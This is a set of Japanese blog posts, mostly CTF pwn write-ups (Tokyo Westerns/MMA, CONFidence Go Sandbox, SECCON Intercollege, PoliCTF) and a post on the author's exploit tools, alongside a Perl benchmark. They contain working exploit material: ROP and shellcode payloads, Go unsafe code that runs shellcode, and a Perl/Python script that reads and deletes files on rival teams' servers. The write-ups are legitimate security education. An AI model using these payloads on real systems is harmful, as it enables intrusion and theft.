まずはCTFの過去問を解く

この記事は,CTF Advent Calendar 2016の1日目です.

www.adventar.org

CTFプレイヤーたるもの,日々の鍛錬は欠かせません. 過去問を解いてこそ,競技中に真の実力を発揮することができるのです.

ということで,bata_24さんが公開しているpwn challenges list - Pastebin.comを管理できるページを作成しました.

http://ctf.katsudon.org/ctf4u/

f:id:akiym:20161201215701p:plain

CTF Advent Calendar 2016 - Adventar にはまだ空きがあるようなので,過去問のwriteupを書いてくれる方をお待ちしています.

全完目指して頑張りましょう.お楽しみください.

高速にリストからハッシュにする

いまいちピンとくる言い方が分からないけれど,つまりはこういうこと.

[
    {
        id => 1,
        value => 'foo',
    },
    {
        id => 2,
        value => 'bar',
    },
]

このようなデータ構造があったときに,以下のようにidをkeyとしてハッシュにしたい.

{
    1 => {
       id => 1,
       value => 'foo',
    },
    2 => {
       id => 2,
       value => 'bar',
    }
}

割とよくあることなので,普段はmapを使ってこのように書いている.

my $x = +{map { ($_->{id} => $_) } @users};

これは,List::Utilreduceを使っても同じように書ける.引数の先頭がハッシュリファレンスになっていて,それを引き回すことで実現している.

use List::Util qw/reduce/;
my $x = reduce { $a->{$b->{id}} = $b; $a } ({}, @users);

実は,reduceで書いたコードはmapよりも40%程度ではあるが若干早く動作する.一見mapのほうがシンプルで値を返しているだけなので早く動作するように見えるがそうではない.

気になったのでList::Utilのコードを見てみたところ,lightweight callbackを使って実装されていた.

https://metacpan.org/source/PEVANS/Scalar-List-Utils-1.46/ListUtil.xs#L370-430

lightweight callbackについてはperldoc perlcallに少しだけではあるがドキュメントが存在する.ループ中に同じ関数を何度も呼び出すようなケースに使う.

reduceで書いたコードが早いのはlightweight callbackのおかげらしい.ということで,List::Utilのコードを参考に,lightweight callbackを使って高速にリストからハッシュにする処理を書いてみた.

github.com

名前が思い付かなかったのでそのままto_hashに……

  • List::Utilのコードはコアモジュールだからかポータブルな実装.ifdefたくさん.
  • $_GvSV(PL_defgv)
  • 返り値は関数呼び出し後に*PL_stack_spを参照
  • Perlのハッシュは,キーにundefを指定することができない(空文字列になる)

ベンチマークは以下の通り.

use strict;
use warnings;
use Benchmark qw/:all/;
use List::ToHash;
use List::Util;

my @ARRAY;
for my $i (1..100) {
    push @ARRAY, {
        id    => $i,
        value => '.' x 100,
    };
}

cmpthese(timethese(0, {
    map => sub {
        my $x = +{map { ($_->{id} => $_) } @ARRAY};
    },
    reduce => sub {
        my $x = List::Util::reduce { $a->{$b->{id}} = $b; $a } ({}, @ARRAY);
    },
    for => sub {
        my $x = {};
        $x->{$_->{id}} = $_ for @ARRAY;
        $x;
    },
    to_hash => sub {
        my $x = List::ToHash::to_hash { $_->{id} } @ARRAY;
    },
}));
Benchmark: running for, map, reduce, to_hash for at least 3 CPU seconds...
       for:  3 wallclock secs ( 3.18 usr +  0.01 sys =  3.19 CPU) @ 19303.13/s (n=61577)
       map:  3 wallclock secs ( 3.13 usr +  0.02 sys =  3.15 CPU) @ 13437.46/s (n=42328)
    reduce:  3 wallclock secs ( 3.20 usr +  0.02 sys =  3.22 CPU) @ 18504.66/s (n=59585)
   to_hash:  4 wallclock secs ( 3.12 usr +  0.01 sys =  3.13 CPU) @ 26635.78/s (n=83370)
           Rate     map  reduce     for to_hash
map     13437/s      --    -27%    -30%    -50%
reduce  18505/s     38%      --     -4%    -31%
for     19303/s     44%      4%      --    -28%
to_hash 26636/s     98%     44%     38%      --

結果としては,mapよりも2倍早く処理することができた.ただこの程度であれば微々たる差のように見える.結局はmap使っておけば良さそう.

Tokyo Westerns / MMA CTF 2nd 2016: greeting, Interpreter, diary, Candy Store, shadow

greeting

Host : pwn2.chal.ctf.westerns.tokyo
Port : 16317

greeting

Note: DoS攻撃に対する対策の為,出力が131072文字に制限されています.

main関数のみのシンプルなバイナリ.FSBがあるが,その後すぐにreturnするため1度しか実行できないように見える.FSBによる攻擊の流れは以下の通り.

  • stack上のreturn addressの位置をリーク
  • 必要であればlibcのアドレスリーク(今回はsystemがpltに存在するので不要)
  • stackを書き換えてsystem("/bin/sh")を実行

今回の場合は,.fini_arrayをmain関数のアドレスに書き換えることで再度mainを呼ぶことができるようになり,上記の攻擊が可能となる.

入力文字列をsprintfに投げてからFSBが発生するため,最初に20文字文字が書き込まれている.libformatstrを使う場合はstart_lenを指定する必要があることに注意.

最後にsystem("/bin/sh")を実行するにあたって,"/bin/sh"をアドレス上に配置,または取得するのが面倒なときがある.このようなときには"sh\0""ed\0"を探すと良い.
今回の問題バイナリでは.dyn_str上に"_IO_stdin_used\0"が存在したので,それを利用した.シェルを起動するときには,ed上で!shを入力するとshが起動できる.

exploit: greeting - Tokyo Westerns / MMA CTF 2nd 2016

Interpreter

$ nc pwn1.chal.ctf.westerns.tokyo 62839
befunge.7z

befungeというプログラミング言語インタプリタ.befungeでは,g, p命令を使うことで,プログラム上のメモリの読み書きができる.

ただし,Full RELROなので,GOTを書き換えて任意アドレスに飛ぶということができない.
GOTに書き込みはできないがリークはできるので,libcのベースアドレスをリークする.libc内に存在する__libc_argvからスタック上にあるargvのアドレスを取得し,mainのリターンアドレスを書き換えることにより,shellを起動した.

&scanf("%d", number)より数値を入力してその値をスタックpushする.スタックのpush時には,movsxdにより64bit長のレジスタに符号拡張されるため,signed intの範囲よりも大きい数値を入力したい場合は2つの値の掛け算により表現する必要があった.

f:id:akiym:20160910003648p:plain

exploit: Interpreter - Tokyo Westerns / MMA CTF 2nd 2016

diary

Host : pwn1.chal.ctf.westerns.tokyo
Port : 13856

もし必要であるなら,./bash が使えます.

diary

独自mallocにより管理される.確保される領域はrwxであるため,おそらくheap上に飛んでshellcode実行させる問題だろうと思われる.

getnlineにはoff by oneの脆弱性がある.これにより,独自mallocで管理されるchunkのサイズを書き換えることができる.これを利用することでchunkがfree済みかどうかの状態を自分で指定でき,free済みchunkのlinked listの状態を書き換えることができるようになる.
あとは,unlink attackによりGOTを書き換えheap上のshellcodeに飛ばす.

この問題ではseccomp mode 2により実行できるsyscallが制限されている.
bpf filterのdisassembleにはlibseccompに付属しているscmp_bpf_disamを使う.ただしsyscall番号をそのまま表示してしまうので読みにくい.拙作のdisas-seccomp-filter akitools/disas-seccomp-filter at master · akiym/akitools · GitHub を使うと読みやすいようにしてくれる.

 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000000   ld  seccomp_data.nr
 0001: 0x15 0x00 0x01 0x00000002   jeq SYS_open    true:0002 false:0003
 0002: 0x06 0x00 0x00 0x00000000   ret KILL
 0003: 0x15 0x00 0x01 0x00000101   jeq SYS_openat  true:0004 false:0005
 0004: 0x06 0x00 0x00 0x00000000   ret KILL
 0005: 0x15 0x00 0x01 0x0000003b   jeq SYS_execve   true:0006 false:0007
 0006: 0x06 0x00 0x00 0x00000000   ret KILL
 0007: 0x15 0x00 0x01 0x00000038   jeq SYS_clone   true:0008 false:0009
 0008: 0x06 0x00 0x00 0x00000000   ret KILL
 0009: 0x15 0x00 0x01 0x00000039   jeq SYS_fork   true:0010 false:0011
 0010: 0x06 0x00 0x00 0x00000000   ret KILL
 0011: 0x15 0x00 0x01 0x0000003a   jeq SYS_vfork   true:0012 false:0013
 0012: 0x06 0x00 0x00 0x00000000   ret KILL
 0013: 0x15 0x00 0x01 0x00000055   jeq SYS_creat   true:0014 false:0015
 0014: 0x06 0x00 0x00 0x00000000   ret KILL
 0015: 0x15 0x00 0x01 0x00000142   jeq 0x142  true:0016 false:0017
 0016: 0x06 0x00 0x00 0x00000000   ret KILL
 0017: 0x06 0x00 0x00 0x7fff0000   ret ALLOW

特定のsyscallのみを拒否するブラックリスト方式による制限を行っている.アーキテクチャチェックとsyscall番号の上限チェックが行われていない.今回はsyscall番号の上限チェック不備によるx32 syscallを呼ぶようにした.

exploit: diary - Tokyo Westerns / MMA CTF 2nd 2016

Candy Store

Host : candystore1.chal.ctf.westerns.tokyo
Port : 11111

Do you want something sweet...?

candystore

--
更新1: flagは「/home/candystore/flag」にあります. また, このバイナリは最新のRaspbian上で動作しています.

この問題はコンテスト終了後に解いた.ARMのバイナリ.動作やデバッグQEMUのarmhf環境上で行った.

adminモードにてストア名の書き換え,アイテムの追加や削除ができる.ただし,admin(パスワードはランダム)でなければいけない.
profileの入力時にadmin flagの書き換えが発生するため,パスワードを知らなくてもadminモードに移行できる.

adminモードではmax item amountを変更することができるが,現在の値よりも大きい数を指定すると拒否される.

f:id:akiym:20160910003508p:plain

bhiによる比較ではあるが,そもそもread_int32関数内で呼ばれるatoiはsigned intの正の範囲のみを返すため,任意の値に書き換えることができない.

ストア名に限界の128文字まで指定して,末尾に\0を含めないようにすることで,strcpy時にmax item amountの書き換えができるようになる.

f:id:akiym:20160910003512p:plain

ストアのアイテムは16個以下であることが決めうちされているため,それ以上追加するとストア名が入っているバッファにはみ出る.これを使うことで,アイテムのポインタを任意アドレスに書き換えることができ,リークができる.

orderコマンドにはスタックバッファオーバーフロー脆弱性が存在するが,stack canaryにより防がれている.canaryのリークをする必要がある.なんと,ARM環境ではcanaryの値が.bssセクション上に存在する.すでに任意アドレスリークはできているので,canaryとlibcのアドレスをリークし,system("/bin/sh")を実行すれば終わり.

exploit: Candy Store - Tokyo Westerns / MMA CTF 2nd 2016

作問者によると,これは想定していない解法とのこと.作問者自らwriteupを書くとのことなので期待.

https://twitter.com/hhc0null/status/773309856417652736

shadow

Host : pwn2.chal.ctf.westerns.tokyo
Port : 18294

shadow

バッファオーバフローと任意アドレスの読み書きができる,明らかな脆弱性があるバイナリ.ただし,独自のmitigationにより関数のcall, retのチェックがされているため,任意のコードに飛ぶことすら難しい.

.bssセクション上にはmitigationで使われているsp, stack_bufのアドレスが存在しているが以下のようなチェックが存在する.

f:id:akiym:20160910012429p:plain

spを書き換えたとしても,gs:0x20に保存された値に上書きされてしまう.stack_bufは正しい範囲に入ってなければいけない.

gs:0x20TLS上に配置されているため,TLSのアドレスを求めてgs:0x20を丸ごと書き換えてしまえばmitigation自体のstackを置き換えて任意の関数を呼ぶことができるようになる.
TLSのアドレスはstack上に存在するため,リークするだけで求めることができる.

exploit: shadow - Tokyo Westerns / MMA CTF 2nd 2016

Teaser CONFidence DS CTF 2016 Go Sandbox 1, 2 - Go's unsafe is unsafe!

Go Sandbox (Pwning, 150)

We found a sandbox written in Go. It looks pretty solid, but there must be a bug somewhere. All you need to do for us is to execute ./get_flag IP: gobox.hackable.software:1337 Download

Golangソースコードを実行するサンドボックス./get_flagを実行するとflagが得られる。

golangのバイナリはstatic linkされているためサイズが大きく解析がしにくい。main関数はmain.mainとしてシンボル定義されているので、そこから読んでいく。プログラムの流れは、ソースコードの入力、制限チェック、ビルドして実行するだけ。

main.checkProgram内でgo/parserを使ってソースコードを静的解析して制限チェックを行う。ここではimportできるpackageが制限されており、以下の文字列が含まれるpackageが禁止されている。

archive, compress, crypto, database, debug, encoding, expvar, flag, go, html, image, internal, io, log, mime, net, os, path, reflect, runtime, syscall, testing, text, C

syscallCが禁止されているので、直接execve syscallを呼ぶことができないが、ここではunsafeが禁止されてないので、unsafeを使って任意のコードを実行できるようにしてみる。

unsafe

unsafeはCのポインタ演算のようなことができる。この名前の通り、間違った使い方をすると危険。

アドレスに飛ぶ

まず、unsafeでmain関数のアドレスを取得してみる。

f := main
refAddr := uintptr(*(*int64)(unsafe.Pointer(&f)))
addr := uintptr(*(*int64)(unsafe.Pointer(refAddr)))
fmt.Printf("%x -> %x\n", refAddr, addr) #=> 52ae18 -> 401010

変数fにはこのようにmain.mainのアドレスが入っており、この中身を変数addrに代入している。

f:id:akiym:20160416010018p:plain

次に指定したアドレスに飛んでみる。

func test() {
}

func callAddr(addr uint64) unsafe.Pointer {
    p := int64(uintptr(unsafe.Pointer(&addr)))
    f := test
    *(*int64)(unsafe.Pointer(unsafe.Pointer(&f))) = p
    return unsafe.Pointer(&f)
}

func main() {
    pwned := *(*func())(callAddr(0xdeadbeef))
    pwned()
}

test関数へ参照しているポインタを指定したアドレスに書き換えてから関数呼び出しを行う。

ちなみにビルドされたバイナリはこのようになっている。インライン展開されているのとunsafe.Pointerは単純にポインタの演算になってしまっていることに注意。

f:id:akiym:20160416010037p:plain

アドレス0xdeadbeefは存在しないので、fatalするが0xdeadbeefには飛んでいることが分かる。

unexpected fault address 0xdeadbeef
fatal error: fault
[signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]

シェルコードを実行する

go 1.6ではNXが有効なのでheapやstackに共に実行できない。
嬉しいことに生成されるバイナリにはruntime.sysMmapがリンクされているので、これを使ってexecutableなメモリ領域を確保してシェルコードを実行することができる。
runtime.sysMmapは単純にmmap syscallを呼ぶだけの関数。

f:id:akiym:20160416010045p:plain

同じ環境でバイナリをビルドすることでruntime.sysMmapのアドレスをあらかじめ知っておくことができる。(static linkされているのでアドレスは固定)

mmapを呼ぶことでアドレス0x1000000にrwxな領域を確保する。

mmap := *(*func(unsafe.Pointer, uintptr, int32, int32, int32, uint32))(callAddr(0x44e110)) // runtime.sysMmap
shellcodeAddr := unsafe.Pointer(uintptr(0x1000000))
mmap(shellcodeAddr, 4096, 7, 0x32, -1, 0)

最後に確保した領域に./get_flagを実行するシェルコードを書き込んで呼び出せば終わり。

flag: DrgnS{Uns4fe_Go_15_un5af3}

以上よりunsafeが使えると任意のコードが実行できることが分かる。

Go Sandbox 2 (Pwning, 250)

The bug in the previous sandbox was fixed, but there's surely something wrong with this one too. The task is, as before, to execute ./get_flag IP: gobox2.hackable.software:1337 Download

前回と同じソースコードで通る。

flag: DrgnS{D4rn_5tR1ng_Int3Rpo14TI0n}

SECCON 2015 Intercollege 優勝しました

チームdodododoで参加して、29109ptで優勝しました。
チーム構成はakiym, xrekkusu, lrks, hiromuの4人。分担は、攻擊班akiymとlrks、防御班xrekkusuとhiromu。

f:id:akiym:20160131214722p:plain

今回のSECCON Intercollegeは学生限定ということで、通常の決勝とは違う、Attack & Defenseルール。各チームにroot権限サーバが1つ与えられ、その上で3つのサービスが動かす。それぞれに脆弱性があり、それを修正しながら、相手に攻擊するといったもの。

2015.seccon.jp

ルールを簡単に説明すると、5分毎に運営側からSLAのアクセスが飛んできて、動作しているサービスを経由してフラグがどこかに書き込まれる。正しく書き込まれているか確認出来なければdefense scoreが獲得できない、かつ総得点より3%の減点となる。正しくサービスを運用しつつ脆弱性を修正する必要がある。
他チームのフラグを入手し、サブミットすることが出来ればそのチームの3%のスコアを奪うことができる。4時間で攻擊、防御のバランスをどう取るかが難しいところ。

用意された問題は3つ。ジャンルはすべてwebだった。4時間しかないので、バイナリ問題はさすがに出題しなかったか…

vulnerable_blog, keiba

競技中はほぼ見てない。防御班に任せる。

sbox2015

PythonCGIで動いている。OS X, Windowsクライアントが配布されているが、実行するのが怖かったので、CGIソースコードを読んだ。 単純にファイルアップローダ。ただし、アップロードしたファイルをeval.rb, eval.php, eval.pyのいずれかを経由して実行することができる。自由にRuby, PHP, Pythonのコードが実行されてしまう。
ちなみに、eval.pyの中身は以下のようになっている。

#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])

SLAチェックは運営側からOUTDATA = "3630329450522296302958265"のようなリクエストが飛んでくる。問題の趣旨はいかにして、安全なコードを実行しつつ、他チームからの危険なコードを実行させないかである。sandboxのようなものを書いて欲しいのだろう。SLAは単純なので、50文字以上のリクエストを受け付けないようにしてみたところ、他チームから攻擊が確認されなかった。これでいいのか…よくよく考えてみるとexec(INDATA)で回避できる。危ない。
SLAがちゃんとしたものなら、禁止ワードのフィルタをするなり、ファイル読めないようにopenを潰すとかで防ぐのが正攻法のような気がする。もう少し、攻擊と防御の時間があれば、もっと面白いことができそう。
大会終了後に気づいたが、sbox自体のフラグを守るのは簡単で、実行と同時にアップロードされたファイルを消すとか、ディレクトリのパーミッションをrwx---x--xにするだけだった。ただ、sboxを経由して別サービスのパスワードを読むスクリプトがアップロードされていて攻擊されていたので、さすがに任意コードを実行できる状態なのはまずい。

防御ができたところで、相手チームに攻擊するリクエストを投げる。
アップロードしたファイルは特定のディレクトリ以下に保存されるので、ファイルを時刻順に並びかえて中身をすべて出力させるPythonスクリプトを書く。これで対策がされていないチームのフラグを奪うことができる。
他チームに送信してフラグを奪うところまでスクリプトを書いておいて、スコアサーバへのサブミットは自動化が面倒だったので、全手動でやった。
スクリプトはこんなかんじ。急いで書いたので適当。

use v5.16;
use warnings;
use utf8;
use LWP::UserAgent;

my $ua = LWP::UserAgent->new(
    agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
);

my @ips = (
    '10.100.2.1',
    '10.100.4.1',
    '10.100.5.1',
    '10.100.7.1',
    '10.100.8.1',
    '10.100.10.1',
    '10.100.12.1',
    '10.100.13.1',
    '10.100.16.1',
    '10.100.17.1',
    '10.100.18.1',

    #'10.100.3.1',
    #'10.100.6.1',
    #'10.100.9.1',
    #'10.100.14.1',
    #'10.100.15.1',
);

for my $ip (@ips) {
    my $url = "http://$ip/cgi-bin/sbox2015/index.cgi";
    my $res = $ua->post($url,
        Content_Type => 'form-data',
        Content => {
            's' => 'upload',
            't' => 'python',
            'f' => ['attack.py'],
        },
    );
    my $play = $res->content;
    if ($play =~ /^2/) {
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => '0',
            },
        );
        my (@files) = $res->content =~ /'(.+?\.txt)'/g;
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => join(',', @files),
            },
        );
        #my ($flag) = $res->content =~ /OUTDATA = "(.+?)"/;
        #say "$ip: $flag";
        my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g;
        say "$ip:";
        for my $flag (@flags) {
            say $flag;
        }
    } else {
        warn 'fail';
    }
}

attack.py:

import os
import glob
if INDATA != '0':
    OUTDATA = str([open(f).read() for f in INDATA.split(',')])
    os.unlink(INDATA.split(',')[0])
else:
    f = glob.glob('uploadfiles/*')
    f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True)
    OUTDATA = str(f)

まとめ

最終的なスコア。他チームからの攻擊+SLAチェックのfailにより、最終的なdefense scoreがマイナスになった。

f:id:akiym:20160131214727p:plain

攻擊ログが残っていたので、自分のチームの攻擊ポイントをまとめておいた。m1z0r3, MMAからそれぞれ10000ptほど奪うことができたのが大きい。

'akiym' => {
    'Aquarium'        => 1012,
    'IPFactory'       => 453,
    'TomoriNao'       => 643,
    'Yozakura'        => 269,
    'barylite'        => 262,
    'insecure'        => 254,
    'm1z0r3'          => 7169,
    'negainoido'      => 1628,
    'oishiipp'        => 182,
    'omakase'         => 190,
    'security_anthem' => 528
},
'hiromu' => {
    'Aquarium'   => 543,
    'IPFactory'  => 581,
    'Yozakura'   => 192,
    'm1z0r3'     => 304,
    'omakase'    => 50,
    'wasamusume' => 188
},
'lrks' => {
    'MMA'        => 9164,
    'TomoriNao'  => 19,
    'Yozakura'   => 162,
    'insecure'   => 91,
    'm1z0r3'     => 6026,
    'negainoido' => 97,
    'z_kro'      => 93
},
'xrekkusu' => {
    'security_anthem' => 2761
}

オレオレCTFツール akitools

CTF Advent Calendar 2015 - Adventar 16日目

CTFをやると副産物として一枚岩のスクリプトができたりします。いくつか便利ツールを公開しているので、ここで紹介します。 個人的には地味に便利と思っているのですが、万人受けするようなものではなさそうです。オレ得ツールですね。

github.com

exploit.py, exploit.pl

pwn問題を解くとき、まずはじめにテンプレートとして手元にコピーしてきます。 pwntoolsとか便利なライブラリがあったりしますが、どの環境でも動かせるといろいろとよいことがあるので、recvuntilやinteractのような関数を実装したものを用意しています。

d

socatのラッパーです。デフォルトでstraceで起動します。

d ./vuln-binary

gadgets

rp++のラッパーです。rp++単体だと目grepで主要gadgetを探したりして面倒だったりします。

% gadgets ./braincpy
... (snip)
int_80 = 0x805b5c0
leaveret = 0x80481d1
pop_eax = 0x80beb89
pop_eax_ebx_esi_edi = 0x809a67a
pop_ebp = 0x80483a8
pop_ebp_ebx_esi_edi = 0x80728dd
pop_ebp_esi_edi = 0x809aa75
pop_ebx = 0x80516cb
pop_ebx_ebp = 0x80483a7
pop_ebx_ebp_esi_edi = 0x809aa74
pop_ebx_edx = 0x805adeb
pop_ebx_esi_ebp = 0x804a56a
pop_ebx_esi_edi = 0x80515a7
pop_ebx_esi_edi_ebp = 0x80489db
pop_ecx = 0x80dbc2c
pop_ecx_ebx = 0x805ae16
pop_edi = 0x80515a9
pop_edi_ebp = 0x80489dd
pop_edi_ebx = 0x8076412
pop_edi_esi = 0x8073018
pop_edi_esi_ebx = 0x8055f9b
pop_edx = 0x805adec
pop_edx_ecx_ebx = 0x805ae15
pop_esi = 0x8073019
pop_esi_ebp = 0x804a561
pop_esi_ebx = 0x8051980
pop_esi_ebx_edx = 0x805adea
pop_esi_edi = 0x80515a8
pop_esi_edi_ebp = 0x80489dc
pop_esp = 0x80beb39
pop_esp_ebx_esi_edi_ebp = 0x804cf3c
...

libc-offsets

libcのバイナリから指定された関数のアドレスのオフセットを取得します。"/bin/sh"のような文字列も取得することができます。

% libc-offsets /lib/x86_64-linux-gnu/libc-2.19.so
offset = {
    '__libc_start_main': 0x21dd0,
    'system': 0x46640,
    '/bin/sh': 0x17ccdb, # str
}

mysqlc

mysqlコマンドのラッパーです。ユーザやテーブルのセットアップが簡単にできます。問題と同じ環境を手元に作るときによく使います。

tobin, tohex

渡されたバイト列を変換します。

% cat ~/tool/sc/x86/binsh | tohex
\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80

rotn

rot1-rot26まで出力します。過去のCTFで1度だけ役立ちましたが、もうROT13ネタの問題なんてやることはないはず。

disas-seccomp-filter

libseccompにscmp_bpf_disasmというコマンドが付属していますが、そのコマンドの出力のsyscall番号にコメントを付けてくれます。CTFの過去問にはseccomp-bpfが利用されている問題は数えるほどしかないのですが、まあ便利です。

% disas-seccomp-filter ./bpf
 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000004   ld  seccomp_data.arch
 0001: 0x15 0x00 0x02 0xc000003e   jeq x86_64 true:0002 false:0004
 0002: 0x20 0x00 0x00 0x00000000   ld  seccomp_data.nr
 0003: 0x35 0x00 0x00 0x40000000   jge 1073741824 true:0004 false:0004
 0004: 0x06 0x00 0x00 0x00000000   ret KILL
 0005: 0x15 0x07 0x00 0x00000038   jeq SYS_clone   true:0013 false:0006
 0006: 0x15 0x06 0x00 0x00000039   jeq SYS_fork   true:0013 false:0007
 0007: 0x15 0x05 0x00 0x0000003a   jeq SYS_vfork   true:0013 false:0008
 0008: 0x15 0x04 0x00 0x0000003e   jeq SYS_kill   true:0013 false:0009
 0009: 0x15 0x03 0x00 0x0000009d   jeq SYS_prctl  true:0013 false:0010
 0010: 0x15 0x02 0x00 0x000000c8   jeq SYS_tkill  true:0013 false:0011
 0011: 0x15 0x01 0x00 0x000000ea   jeq SYS_tgkill  true:0013 false:0012
 0012: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0013: 0x06 0x00 0x00 0x00000000   ret KILL

dirdiff.pl

ディレクトリ同士を比較します。

例題: CSAW 2014 for300 (https://github.com/ctfs/write-ups-2014/tree/master/csaw-ctf-2014/fluffy-no-more)

wordpressのファイルが大量に渡されるのでディレクトリ同士を比較することで改竄されたスクリプトが見つかります。

% perl dirdiff.pl 'var/www/html/**/*' 'wordpress-4.0/**/*'

disastobin

objdump -dの出力結果を食わせるとバイナリを出力します。

hopper-scripts/

12/18の記事で解説します。

まとめ

普段CTFをする上でよく使う自作ツールを紹介しました。(大半が書き捨てのようなスクリプトですが) 明日は「オレオレgdb拡張スクリプト pedal」です。お楽しみに。

PoliCTF John's shuffle: system("sh") technique

This is my short writeup for John's shuffle.

John is completely drunk and unable to protect his poor stack.. Fortunately he can still count on his terrific shuffling skills. Connect to shuffle.polictf.it:80

This is pwnable challenge worth 350 points. The binary is NX enabled, no stack protector yey.
I solved really fast and I thought this challenge is not worth 350 points ;)

f:id:akiym:20150712184549p:plain

How to PWN the server

First of all, You must use ROP payload instead of shellcode because the binary is NX enabled and there's no executable buffer...
The goal is to read the flag simplicity. But sometimes either guessing filename of the flag or executing SUID binary is required. So, the best way is to execute system("/bin/sh").

  • Leak libc base address
  • Guess libc version (e.g. leak copyright, find from libcdb.com)
  • Calculate addresses

That's easy? I think it looks like complicated, right?

Exploit it, more easy way...?

This binary has a buffer overflow vulnerability to find easily.
By the way, johns-shuffle provides system@plt and you don't have to leak anymore!

Where is "/bin/sh"? I don't have any buffers, there's no useful string in .data section?
Anyway, use gdb-peda's find command like this: (Here is customized gdb-peda: GitHub - akiym/pedal: PEDAL - Python Exploit Development Assistance for GDB Lite)

gdb-peda$ find '/bin/sh\0'
Searching for '/bin/sh\\0' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6e344 ("/bin/sh")
gdb-peda$ find 'sh\0'
Searching for 'sh\\0' in: None ranges
Found 17 results, display max 17 items:
johns-shuffle : 0x8048458 --> 0x65006873 ("sh")
         libc : 0xf7e1b420 --> 0x5f006873 ("sh")
...

Oh, "/bin/sh\0" is in libc... Do I have to leak libc base address? Wait, "flush\0" is in .dynstr section! Don't need to leak, I got it!
In most cases, $PATH environment variable is set. So, system("sh") now works. Let's write an exploit code.

# -*- coding: utf-8 -*-
import os
import sys
import struct
import socket

p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]

def connect(host, port):
    return socket.create_connection((host, port))

def interact():
    import telnetlib
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host = 'shuffle.polictf.it'
    port = 80
else:
    host = '127.0.0.1'
    port = 4000

s = connect(host, port)
payload = (
    'A' * 32 +
    p(0x8048720) + # system@plt
    p(0xdeadbeef) +
    p(0x8048458) + # "sh\0"
    ''
)
s.send(payload + '\n')
s.send('exit\n')
interact()

Note: This exploit is unstable, try several times.

% python exploit.py r
It all began as a mistake..

It all began as a mistake..
*** Connection closed by remote host ***
% python exploit.py r
It all began as a mistake..

It all began as a mistake..
cat /home/*/flag
flag{rand0mizing_things_with_l0ve}